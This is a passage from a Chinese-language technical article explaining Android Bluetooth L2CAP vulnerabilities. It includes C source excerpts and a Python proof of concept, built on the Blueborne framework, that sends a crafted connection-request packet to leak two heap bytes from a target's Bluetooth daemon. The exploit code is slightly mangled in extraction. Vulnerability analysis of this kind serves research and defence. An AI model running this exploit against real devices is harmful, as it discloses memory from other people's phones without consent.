|快速理解Android中的三个蓝牙漏洞( 二 )


void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid, uint8_t rem_id, uint16_t result) { [...] UINT16_TO_STREAM(p, 0); /* Local CID of 0*/ UINT16_TO_STREAM(p, remote_cid); UINT16_TO_STREAM(p, result); UINT16_TO_STREAM(p, 0); /* Status of 0*/ l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }请注意 , 攻击者可以通过在特制的L2CAP数据包中提供未注册的协议/服务多路复用器(PSM)ID字段来完全影响l2cu_find_rcb_by_psm() , 以致于始终返回NULL(从而始终到达if分支) 。
另外 , 请注意 , 这种使用STREAM_TO_UINT16宏而不检查攻击者控制的数据包中是否剩余足够数据的不安全代码模式似乎已在process_l2cap_cmd()函数的各处使用 。
总结来说 , 过程如下图所示:
|快速理解Android中的三个蓝牙漏洞
本文插图

从堆栈上通过函数STREAM_TO_UINT16分别读取两字节到con_info.psm和rcid , con_info.psm再通过函数l2cu_find_rcd_by_psm函数得到p_rcb , 对p_rcb进行判断 , 如果p_rcb == NULL(可以通过提供未注册的协议/服务多路复用器ID字段来实现) , 会读取rcid等信息 。
如果 , 数据包中的数据在数据1..就已经结束 , 程序还是会将堆栈上将相邻两个字节的数据(也就是数据2..)读入到rcid , 最后发送给远程对等方 。 那么 , 最后整个攻击结果就是这里的内存泄漏了两个字节 。
Proof-of-Concept(概念验证)
以下Python代码触发了该漏洞 , 并打印了从目标蓝牙设备的com.android.bluetooth守护程序堆泄漏的16位值 。
此Python代码使用Blueborne框架中的l2cap_infra包 。
【|快速理解Android中的三个蓝牙漏洞】用法:$ sudo python l2cap01.py <src-hci > <target-bdaddr> 。
例如:$ sudo python l2cap01.py hci0 00:11:22:33:44:55 。
import os import sys from l2cap_infra import * L2CAP_SIGNALLING_CID = 0x01 L2CAP_CMD_CONN_REQ = 0x02 def main(src_hci, dst_bdaddr): l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr) # This will leak 2 bytes from the heap 这将从堆中泄漏2个字节 print ''Sending L2CAP_CMD_CONN_REQ in L2CAP connection...'' #发送L2CAP连接中的L2CAP命令连接请求 cmd_code = L2CAP_CMD_CONN_REQ cmd_id = 0x41# not important cmd_len = 0x00# bypasses this check at lines 296/297 of l2c_main.cc:p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) { non_existent_psm = 0x3333# Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called 协议/服务多路复用器id不存在 , 因此l2cu_find_rcb_by_psm()返回NULL , 并调用l2cu_reject_connection() # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd(): #这里我们将L2CAP_signaling_CID用作CID , 因此l2c_rcv_acl_data()调用进程_L2CAP_cmd(): # 170/* Send the data through the channel state machine 通过通道状态机发送数据*/ # 171if (rcv_cid == L2CAP_SIGNALLING_CID) { # 172process_l2cap_cmd(p_lcb, p, l2cap_len); l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack(' '') else: if os.getuid(): print ''Error: This script must be run as root.'' else: main(*sys.argv[1:])漏洞2:Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure
蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄露
简要
通过将特制的L2CAP数据包发送到目标设备 , 蓝牙范围内的远程攻击者可以使用Android 蓝牙堆栈中的漏洞来泄露属于com.android.bluetooth守护程序堆的4个字节 。


推荐阅读